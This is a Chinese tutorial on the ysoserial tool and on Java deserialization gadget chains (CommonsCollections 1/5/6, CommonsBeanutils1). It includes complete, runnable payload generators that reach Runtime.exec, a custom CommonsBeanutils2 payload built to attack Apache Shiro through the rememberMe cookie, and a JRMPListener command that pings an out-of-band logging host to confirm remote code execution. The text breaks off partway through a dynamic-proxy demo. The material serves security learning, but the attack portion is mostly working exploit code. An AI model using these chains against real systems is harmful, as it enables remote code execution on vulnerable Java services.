ysoserial这款工具,堪称为“java反序列利用神器”。
从github上直接下载git clone https://github.com/frohoff/ysoserial.git
根据github上的编译提示,会出现编译错误
- Requires Java 1.7+ and Maven 3.x+
- mvn clean package -DskipTests
错误信息如下,主要是因为在pom.xml缺少commons-io的依赖:

在pom.xml的dependencies标签里添加依赖项:
- <dependency>
- <groupId>commons-iogroupId>
- <artifactId>commons-ioartifactId>
- <version>2.4version>
- dependency>
再次执行mvn clean package -DskipTests,编译成功在target目录下生成相对应的jar包。

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务于。
- java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471
- java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
这两种方式在之后的代码分析中会详细分析。
从整体设计模式上分析该工具的编写方法,项目整体的目录结构如下所示:
- |____ysoserial
- | |____exploit
- | | |____JRMPClient.java
- | | |____JRMPListener.java
- | |____secmgr
- | | |____DelegateSecurityManager.java
- | | |____ExecCheckingSecurityManager.java
- | |____payloads
- | | |____CommonsCollections3.java
- | | |____ObjectPayload.java
- | | |____util
- | | | |____PayloadRunner.java
- | | | |____Gadgets.java
- | | | |____Reflections.java
- | | | |____ClassFiles.java
- | | | |____JavaVersion.java
- | | |____annotation
- | | | |____PayloadTest.java
- | | | |____Authors.java
- | | | |____Dependencies.java
- | |____GeneratePayload.java
- | |____Serializer.java
- | |____Strings.java
- | |____Deserializer.java
大体分为生成代码、利用库(工具库)、payloads库、序列化库 这四大库。
从Maven项目的pom配置文件开始分析,pom.xml 的整体缩略图如下:

该配置文件主要对 build、dependencies、profiles 这五大方面进行配置。
配置编译打包相关操作,配置项目插件属性,在本项目中主要配置后者:
- <plugin>
- <artifactId>maven-assembly-pluginartifactId>
- <configuration>
- <finalName>${project.artifactId}-${project.version}-allfinalName>
- <appendAssemblyId>falseappendAssemblyId>
- <archive>
- <manifest>
- <mainClass>ysoserial.GeneratePayloadmainClass>
- manifest>
- archive>
- <descriptor>assembly.xmldescriptor>
- configuration>
- <executions>
- <execution>
- <id>make-assemblyid>
- <phase>packagephase>
- <goals>
- <goal>singlegoal>
- goals>
- execution>
- executions>
- plugin>
在该配置中可以分析出,该项目编译之后的名称finalName,在编译后的jar包中的主执行类 ysoserial.GeneratePayload 。
该标签是maven项目中用于配置项目依赖的核心配置,通过子标签的形式,将项目中的所有依赖jar包写在子配置中,类似如下配置:

在编译ysoserial 项目时要添加Commons-io依赖,需要指定版本以及artifactId。
profile可以定义一系列的配置信息,然后指定其激活条件。这样我们就可以定义多个profile,然后每个profile对应不同的激活条件和配置信息,从而达到不同环境使用不同配置信息的效果。

从jar包主类出发分析出整个jar包内部的类关系图:

好在是项目中的类关系较为简单从图中可以看出,大体分为四个类结构:
| 类名 | 作用 |
|---|---|
| GeneratePayload | 生成对应序列化内容 |
| ObjectPayload(Utils) | payload抽象类 |
| *Serializer | 序列化与反序列工具 |
| PayloadRunner | 测试反序列化利用链 |
对于类关系可以从三种执行方式考虑,详细的分析在代码功能模块
对框架有了大概的认识之后,分析框架实现,以及其代码设计思想。
利用idea 导入Maven项目,之后利用pom.xml的包依赖关系下载对应的jar包,配置相关调试信息。这里需要注意的是idea调试jre环境最好是java 1.7 因为在1.7版本之后AnnotationInvocationHandler的反序列化利用链就被补了,为了方便调试选择对应的jdk版本。
从pom.xml得知入口类函数为:

函数调用关系如下图所示:

入口函数接受了来自命令行传进来的参数,分别用payloadType和command参数接收。之后通过getPayloadClass函数反射生成对应的类,有了类之后newInstance生成实例,利用getObject方法获取填好利用链的对象,通过Serializer.serialize函数生成序列化后内容,之后销毁对象。
Utils中主要利用反射生成对应类
在Utils类中有两个该方法的重载,分析其中一个:

这里需要定义 clazz 类型为Class extends ObjectPayload>> ,估计会有很对纳闷这个class类型为什么这么复杂。这就需要理解泛型中的类关系了。在泛型中关键部分使用object函数和最底级类擦除的,因此其类关系如下:

利用Class.forName函数获取对应类。
该函数是在执行exploit函数时一键式获取序列化内容,相关逻辑如下:
- final Class extends ObjectPayload> payloadClass = getPayloadClass(payloadType);//获取对应类
- ......
- final ObjectPayload payload = payloadClass.newInstance();//生成对象
- payloadObject = payload.getObject(payloadArg);//生产带有反序列化链的数据
主要是exploit模块调用该功能,用于生成服务协议相关的交互式序列化利用链。
释放对象内存:
( (ReleaseableObjectPayload) payload ).release(object);
代码单独存在两个文件中,分别完成包含利用链对象的序列化与反序列化工作。


为了测试方便在Deserializer类中包含了测试函数,从文件中读取序列化内容并进行反序列化触发验证漏洞。
- public static void main(String[] args) throws ClassNotFoundException, IOException {
- final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
- Object object = deserialize(in);
- }
这里面内容就是ysoserial工具的核心了,包含了大量的反序列化链,使得反序列化漏洞利用更加简单方便。可归结为以下几个:
| 利用 | 库版本 |
|---|---|
| CommonsCollections1 | commons-collections:3.1 |
| CommonsCollections2 | commons-collections4:4.0 |
| CommonsCollections3 | commons-collections:3.1 |
| CommonsCollections4 | commons-collections4:4.0 |
| CommonsCollections5 | commons-collections:3.1 |
| CommonsCollections6 | commons-collections:3.1 |
| CommonsCollections7 | commons-collections:3.1 |
| BeanShell1 | bsh:2.0b5 |
| C3P0 | c3p0:0.9.5.2、mchange-commons-java:0.2.11 |
| Groovy1 | groovy:2.3.9 |
| Jdk7u21 | groovy:2.3.9 |
| Spring1 | spring-core:4.1.4.RELEASE、spring-beans:4.1.4.RELEASE |
| URLDNS | |
| rome:1.0 | rome:1.0 |
以后会单独写文章对这些利用链进行详细的分析。
该库主要是开启交互式服务,例如如下使用方法:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'open /Applications/Calculator.app/'
目前包含了多种利用方式JBoss、Jenkins、JMX、JRMP、JSF、RMI等。这里以JRMPListener为样例,分析该模块的编写方法。

利用utils库中的makepayload方法生成payload,调用集成好的JRMP服务端,等待客户端的连接,之后给客户端发送payload执行。
PayloadRunner为测试类,主要负责在编写添加payloads库之后测试其效果。使用方法如下:
在payloads单个类中添加main方法。
- public static void main(final String[] args) throws Exception {
- PayloadRunner.run(CommonsBeanutils1.class, args);
- }
从下面可以看出其测试的逻辑:

将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/,需要注意以下几点:
通过分析一条AnnotationInvocationHandler链,在ysoserail中编写自己的利用链。Transformer 利用链是反序列化利用链里最最基础的一个,下面对其进行简单的介绍。
该类完成了最后的命令执行,其代码如下:

从参数中getClass获得对象类,利用反射的方法从类中获取方法对象(在参数中需指定方法名和参数),之后invoke该方法类(普通类需填充类对象作为参数)。
因此在使用触发命令的时候就比较容易构造了:
- public class test {
- public static void main(String[] args) {
- InvokerTransformer it = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
- it.transform(Runtime.getRuntime());
- }
- }
需要注意的是getMethod函数的两个参数均为数组,一个为类数组另一个为对象数组,用来表示参数的类型和内容。最后利用transform进行触发执行命令,之后再拓展利用链。
链的形式就是一环扣一环,在本链中InvokerTransformer的触发在ChainedTransformer 的 transform 函数有调用:

for循环调用transform数组元素的transform方法。
在TransformedMap的checkSetValue方法中涉及到了对valueTransformer对象调用transform方法,该对象正好是Transformer类:


向上溯源找到同一类中的checkSetValue调用:

在之后的分析中只需关注谁调用了TransformedMap的setValue方法就可以了,valueTransformer对象的赋值在构造方法中,因为构造方法为protected,所以可以采用public static 方法decorate调用,参数都是一样的。
该注解类重写了父类的readObject方法并实现了Serializable接口,通过简单分析发现了其readObject方法中包含以下代码逻辑:
- private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
- var1.defaultReadObject();
- Iterator var4 = this.memberValues.entrySet().iterator();
- ......
- while(var4.hasNext()) {
- Entry var5 = (Entry)var4.next();
- ......
- if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
- var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
-
- }
- }
-
- }
在类反序列的时候如果要反序列化的类有自己的readObject方法就会调用该方法而取代调用ObjectInputStream的defaultReadObject默认反序列化方法,分析发现调用了setValue方法,因此我们就可以在这里有所作为了。
利用transformer链构造一个ysoserial里面没有的序列化利用链,分析整个链在ysoserial中编写方法。
整个利用链可以用下图概括:

2. 创建transformers数组
目前网上构造Transformer数组的方法采用getMethod方法获取getRuntime方法,自己在编写利用时有个疑惑为什么不直接invoke调用getRuntime方法,这样岂不是更加简单方便,试验如下:
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("getRuntime", null, null),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
- };
- Transformer chainedTransformer = new ChainedTransformer(transformers);
Transformer第一个元素会原状态返回,如果ConstantTransformer参数设置的是Runtime.class 在第二个元素执行transform函数的时候就会抛异常,原因是InvokerTransformer会获取transform函数参数的类并调用getMethod函数,如果是Runtime.class ,它的getClass方法获取的是Object类,这时再搜索getRuntime方法时就会抛出异常,因此这里只能用Runtime对象当做链的第一个参数,但是问题又来了。
新的问题是在代码里编写调用transform触发函数是可以的,但是一旦反序列化该链就会报错,因为 Runtime没有实现Serializable接口,所以这个想法就被彻底否掉了。最后还是采用以下写法:
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
- new InvokerTransformer("getRuntime", null, null),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
- };
这样做的好处是,在生成链的全程new的对象都实现了Serializable接口,这意味他们都可以序列化。
- Transformer chainedTransformer = new ChainedTransformer(transformers);
- Map inMap = new HashMap();
- inMap.put("value", "aa");
- Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
这里有个坑如果inMap put 的key名必须是value,相关代码在AnnotationInvocationHandler readObject方法中有所体现。
4. 反射获取AnnotationInvocationHandler对象
AnnotationInvocationHandler不是public类,外部包不能直接创建。需要通过反射setAccessible(true)设置访问其中的私有方法。于是就有下面的代码
- Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
- ctor.setAccessible(true);
- Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
5. 编写测试代码
通过对ysoserial框架的分析,PayloadRunner是payload的测试方法,其中包含了序列化与模拟反序列化操作,主要测试反序列化链的攻击效果。代码如下:
- public static void main(String[] args) throws Exception {
- PayloadRunner.run(mytest.class, args);
- }
6. 整体代码
自己编写的类需要继承和实现PayloadRunner类和ObjectPayload接口,方便测试和Payload生成,重写getObject方法并返回构造好的序列化链对象。
- public class mytest extends PayloadRunner implements ObjectPayload
- public Object getObject(final String command) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- // new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
- new InvokerTransformer("getRuntime", null, null),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
- };
- Transformer chainedTransformer = new ChainedTransformer(transformers);
- Map inMap = new HashMap();
- inMap.put("value", "aa");
- Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
- Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
- ctor.setAccessible(true);
- Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
- return instance;
- }
- public static void main(String[] args) throws Exception {
- PayloadRunner.run(mytest.class, args);
- }
-
- }
想学会反序列化的利用,commons-beanutils和BCEL两个内容也要学会。
ysoserial-CommonsBeanutils1,此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的。
先上大佬写的简化版利用链,和ysoserial中的代码有点不同,但原理是一样的:
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.ClassPool;
- import javassist.CtClass;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.PriorityQueue;
-
- public class CommonsBeanutils {
- // 修改值的方法,简化代码
- public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
- Field field = object.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(object, value);
- }
-
- public static void main(String[] args) throws Exception {
- // 创建恶意类,用于报错抛出调用链
- ClassPool pool = ClassPool.getDefault();
- CtClass payload = pool.makeClass("EvilClass");
- payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
- payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
- // payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
- byte[] evilClass = payload.toBytecode();
-
- // set field
- TemplatesImpl templates = new TemplatesImpl();
- setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
- setFieldValue(templates, "_name", "test");
- setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
-
- // 创建序列化对象
- BeanComparator beanComparator = new BeanComparator();
- PriorityQueue
- queue.add(1);
- queue.add(1);
-
- // 修改值
- setFieldValue(beanComparator, "property", "outputProperties");
- setFieldValue(queue, "queue", new Object[]{templates, templates});
-
- // 反序列化
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
- out.writeObject(queue);
- ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
- in.readObject();
-
- }
- }
在分析每一条利用链的方法时候,我都会从以下几个点来进行分析:
1、首先要找到反序列化入口(source)
2、调用链(gadget)
3、触发漏洞的目标方法(sink)
而此条利用链,这三点分别为:
1)入口:
PriorityQueue#readObject
2)调用链:
PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties
3)触发漏洞的目标方法:
TemplatesImpl#getOutputProperties
PriorityQueue#readObject作为CC2的入口点,在CB1链中同样是以此为入口,其readObject中有个heapify方法:

跟进heapify,在713行会去调用siftDown方法,前提是满足for循环中的size值大于等于2:

siftDown方法中,通过一个if判断后,会调用到两个方法,而在siftDownUsingComparator中才是执行调用链的操作:

跟进siftDownUsingComparator方法,可以看到在699行调用了comparator#compare,整个PriorityQueue类的漏洞调用链就是到这里了。

BeanComparator是一个bean比较器,用来比较两个JavaBean是否相等,其实现了java.util.Comparator接口,有一个Comparator方法。

可以看到,在Comparator方法中先判断property值是否为空,之后调用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty这个方法会去调用传入的javaBean中this.property值的getter方法,这个点是调用链的关键!
漏洞的触发点就是利用了TemplatesImpl#getOutputProperties()方法的加载字节码,来调用到恶意类的构造方法、静态方法。整个调用链就不分析了,这里写下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
在ysoserial中的CB1链,其实是依赖commons.collections包的,也就是CC链中的包,因为其BeanComparator类的构造方法中,会调用到ComparableComparator.getInstance(),ComparableComparator类就是在commons.collections包中。

shiro中自带了Commons-Beanutils组件,并没有自带commons.collections包。所以我们尝试修改CB1链来使其脱离commons.collections包的限制。
需要满足三个条件:
java.util.Comparator接口java.io.Serializable接口在这里师傅们找到了两个类:
CaseInsensitiveComparator和java.util.Collections$ReverseComparator
以CaseInsensitiveComparator类为例,CaseInsensitiveComparator对象是通过String.CASE_INSENSITIVE_ORDER拿到的:

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator类的构造函数中即可使if为真,从而不调用到CC组件中的类。
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

这里使用P神已经写好的POC来进行测试,项目地址在GitHub - phith0n/JavaThings: Share Things Related to Java - Java安全漫谈笔记相关内容
打开shiroattack项目:

运行以上的Client1后,会生成cookie中对应的rememberMe值。

shiro环境同样使用P神的环境https://github.com/phith0n/JavaThings,注释掉环境shiro环境中的commons-collections组件

访问/login.jsp界面勾选rememberMe登录,使用burp抓包,在cookie里面添加rememberMe=payload;

另一个类java.util.Collections$ReverseComparator,也是通过其静态方法拿到。

同样只需要把Collections.reverseOrder()放入BeanComparator类的构造函数中即可。
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
把以下代码加入ysoserial的payloads模块即可:
- package ysoserial.payloads;
-
- import org.apache.commons.beanutils.BeanComparator;
- import ysoserial.payloads.util.Gadgets;
- import ysoserial.payloads.util.PayloadRunner;
- import ysoserial.payloads.util.Reflections;
- import java.util.Collections;
- import java.util.PriorityQueue;
-
- public class CommonsBeanutils2 implements ObjectPayload
{ -
- public Object getObject(final String command) throws Exception {
-
- final Object templates = Gadgets.createTemplatesImpl(command);
- // mock method name until armed
- final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
-
- // create queue with numbers and basic comparator
- final PriorityQueue
queue = new PriorityQueue(2, comparator); - // stub data for replacement later
- queue.add(1);
- queue.add(1);
-
- // switch method called by comparator
- Reflections.setFieldValue(comparator, "property", "outputProperties");
-
- // switch contents of queue
- final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
- queueArray[0] = templates;
- queueArray[1] = templates;
-
- return queue;
- }
-
- public static void main(final String[] args) throws Exception {
- PayloadRunner.run(CommonsBeanutils2.class, args);
- }
- }

打包jar
mvn clean package -DskipTests

CC6和CC5等,都对应着commons-collections:3.1。
利用链如下:
- Gadget chain:
- java.io.ObjectInputStream.readObject()
- java.util.HashSet.readObject()
- java.util.HashMap.put()
- java.util.HashMap.hash()
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- org.apache.commons.collections.map.LazyMap.get()
- org.apache.commons.collections.functors.ChainedTransformer.transform()
- org.apache.commons.collections.functors.InvokerTransformer.transform()
- java.lang.reflect.Method.invoke()
- java.lang.Runtime.exec()
下载一个Commons-collections3.1.jar,放入IDEA中分析一波。
所有CC6的payload核心在于InvokerTransformer类,它实现了Transformer接口。
- public interface Transformer {
- Object transform(Object var1);
- }
快捷键control+h可以快速搜索该接口的实现类:

反序列化漏洞攻击的核心在于如何构造如Runtime. getRuntime().exec(''calc'')这样命令执行的语句。该语句可以写成很多种形式,但都是要用到反射方法。以Mac下弹计算器的命令为例,获取Class对象->获取该对象的方法->执行该方法。
- String cmd="open /System/Applications/Calculator.app";
- Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
- Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);
那么为什么CC系列链条的核心在于InvokerTransformer呢?它重写的transformer函数中部分内容如下,上述命令执行过程所需的getClass、getMethod、invoke方法都有了。而这些方法的参数又可以通过transformer自身的构造函数传入:
- //InvokerTransformer#transform
- Class cls = input.getClass();
- Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
- return method.invoke(input, this.iArgs);
-
- //InvokerTransformer#InvokerTransformer
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- this.iMethodName = methodName;
- this.iParamTypes = paramTypes;
- this.iArgs = args;
- }
利用InvokerTransformer构造函数,调用transform,弹计算器,可以写成如下方式:
- InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
- invokerTransformer.transform(Runtime.getRuntime());
但是这样写存在一个问题,Runtime.getRuntime()在实际应用中无法这样传入。那么就需要按照反射的方式,先获取Runtime类,再getMethod获取getRuntime方法。那么如何传入Runtime类,并且还得是Transformer的子类,进行一番搜寻能找到ConstantTransformer类。
- public ConstantTransformer(Object constantToReturn) {
- this.iConstant = constantToReturn;
- }
- public Object transform(Object input) {
- return this.iConstant;
- }
如果用ConstantTransformer类传入Runtime类,结合InvokerTransformer,进一步可以修改成下面这样。
- ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
- Object iConstant=constantTransformer.transform(Runtime.class); //Runtime.class=>class类型->有getMethod方法
- InvokerTransformer invokerTransformer=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
- Object k=invokerTransformer.transform(iConstant);
- InvokerTransformer invokerTransformer1=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
- Object n=invokerTransformer1.transform(k);
- InvokerTransformer invokerTransformer2=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
- invokerTransformer2.transform(n);
首先因为传入的不再是Runtime.getRuntime对象,而是Runtime类,Runtime类属于java.lang.Class,该包中有的方法是getMethod,那么我们需要通过getMethod去调用getRuntime方法。对于新手来说,后面的参数怎么写就需要一些Java功底。
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
首先看一下InvokerTransformer构造函数定义的参数(String methodName, Class[] paramTypes, Object[] args),这就固定了参数类型部分,而参数具体内容就要根据getMethod方法定义public Method getMethod(String name, Class>... parameterTypes),这里提一个基础的小点,Class>是泛型,泛型本身是ArrayList类型,即要写成数组形式。也就是第一个参数要为String类型,第二个参数为Class[]数组类型。
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
invoker部分同理,public Object invoke(Object obj, Object... args),而exec就较为简单了public Process exec(String command)。
再回到上述ConstantTransformer和InvokerTransformer结合的写法中,存在一个问题就是如何能自动去多次调用transformer。同样在Transformer的实现类中寻找,ChainedTransformer顾名思义,可以构造一个Transformer链条。
- public ChainedTransformer(Transformer[] transformers) {
- this.iTransformers = transformers;
- }
- public Object transform(Object object) {
- for(int i = 0; i < this.iTransformers.length; ++i) {
- object = this.iTransformers[i].transform(object);
- }
- return object;
- }
如果把上面的需要调用transform的内容都放进iTransformers中就大功告成,也就是说都要存进Transformer[] 这个数组中。
- Transformer[] Transformer=new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
- };
- Transformer chainedTransformer=new ChainedTransformer(Transformer);
- chainedTransformer.transform(Transformer);
接下来的问题就是,什么类可以调用transform函数,并且可以传入对象。按照CC6的链条,用了LazyMap类的get函数:
- public Object get(Object key) {
- if (!super.map.containsKey(key)) {
- Object value = this.factory.transform(key);
- super.map.put(key, value);
- return value;
- } else {
- return super.map.get(key);
- }
- }
根据函数定义可知,如果继续要往上去找get的调用方法,就要找到形如map.get()这样的方式。
- //TiedMapEntry
- public Object getValue() {
- return this.map.get(this.key);
- }
-
- public int hashCode() {
- Object value = this.getValue();//同类中的hashCode方法又调用了getValue
- return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
- }
- //HashMap
- static final int hash(Object key) {
- int h;
- return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); //调用hashcode
- }
-
- public V put(K key, V value) {
- return putVal(hash(key), key, value, false, true) //调用hash
-
- //HashSet
- for (int i=0; i
- @SuppressWarnings("unchecked")
- E e = (E) s.readObject();
- map.put(e, PRESENT);
- }
最终调用了readObject,而反序列化的攻击点就在于java.io.ObjectInputStream.readObject(),至此链条完整,具体原作者如何选取的hashmap为节点,虽不得而知,但令人赞叹。
简版payload:
- public class CC6_Test {
- public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
- Transformer[] Transformer=new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
- };
- Transformer chainedTransformer=new ChainedTransformer(Transformer);
-
- Map innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
-
- HashSet map = new HashSet(1);
- map.add("foo");
-
- Field f = HashSet.class.getDeclaredField("map");
- f.setAccessible(true);
- HashMap innimpl = (HashMap) f.get(map);
-
- Field f2 = HashMap.class.getDeclaredField("table");
- f2.setAccessible(true);
- Object[] array = (Object[]) f2.get(innimpl);
-
- Object node = array[0];
- if(node == null){
- node = array[1];
- }
-
- Field keyField = node.getClass().getDeclaredField("key");
- keyField.setAccessible(true);
- keyField.set(node, entry);
-
- //序列化
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(map);
- oos.flush();
- oos.close();
- //反序列化
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object obj = (Object) ois.readObject();
- }
- }
从HashSet获取引用对象HashMap,private transient HashMap map; 。因为该对象是private的,需要通过反射改变访问权限。f.get(Object obj)返回指定对象obj上此 Field 表示的字段的值。然后再从HashMap获取引用字段table,transient Node[] table; 。这个table是一个数组,然后再获取第一个元素叫做node,然后从node对象获取字段key。这样payload在反序列化时才能按照攻击链的顺序去执行。
八、CC5利用链分析
CC5和CC6较为类似,比较着看,差异在于,LazyMap.get上层的调用链,CC5用的是TiedMapEntry.toString而CC6则是TiedMapEntry.getValue。toString方法return this.getKey() + "=" + this.getValue();,本身也是对getValue的调用。BadAttributeValueExpException构造函数可根据传入的对象来调用toString,并且具有接收ObjectInputStream参数的readObject方法,完美契合攻击链的构造。
- //CC5
- ObjectInputStream.readObject()
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()
- LazyMap.get()
-
- //CC6
- ObjectInputStream.readObject()
- java.util.HashSet.readObject()
- java.util.HashMap.put()
- java.util.HashMap.hash()
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- LazyMap.get()
附上简版payload:
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import javax.management.BadAttributeValueExpException;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class CC5_test {
- public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
- Transformer transformerChain = new ChainedTransformer(
- new Transformer[]{ new ConstantTransformer(1) });
- Transformer[] Transformer=new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
- new ConstantTransformer(1)
- };
- Map innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
- BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
- Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
- val.setAccessible(true);
- val.set(badAttributeValueExpException,entry);
-
-
- Field field=transformerChain.getClass().getDeclaredField("iTransformers");
- field.setAccessible(true);
- field.set(transformerChain,Transformer);
- //序列化
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(badAttributeValueExpException);
- oos.flush();
- oos.close();
- //反序列化
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object obj = (Object) ois.readObject();
- }
- }
九、CC1利用链分析
Gadget chain如下,和上述的CC链一样,只是get方法上层调用选取了AnnotationInvocationHandler。
- ObjectInputStream.readObject()
- AnnotationInvocationHandler.readObject()
- Map(Proxy).entrySet()
- AnnotationInvocationHandler.invoke()
- LazyMap.get()
AnnotationInvocationHandler主要用于注解。注解的最底层实现则是一个动态代理。InvocationHandler类经常被用于动态代理,所谓动态代理就是定义了某个接口,但不编写实现类,通过JDK提供的proxy.newProxyInstance()创建一个接口对象
总的来说,在运行期间动态创建一个interface实例的方法是:
1.定义一个InvocationHandler实例,负责实现接口方法调用
2.通过Proxy.newProxyInstance()创建interface实例,并配以三个参数:使用的ClassLoader、需要实现的接口数组、用来处理接口方法调用的InvocationHandler实例。
3.将返回的object强制转型为接口。
通过demo对比一下静态类和动态代理,此demo来自廖雪峰师傅的博客:
- //静态
- public interface Hello {
- void morning(String name);
- }
- public class HelloWorld implements Hello {
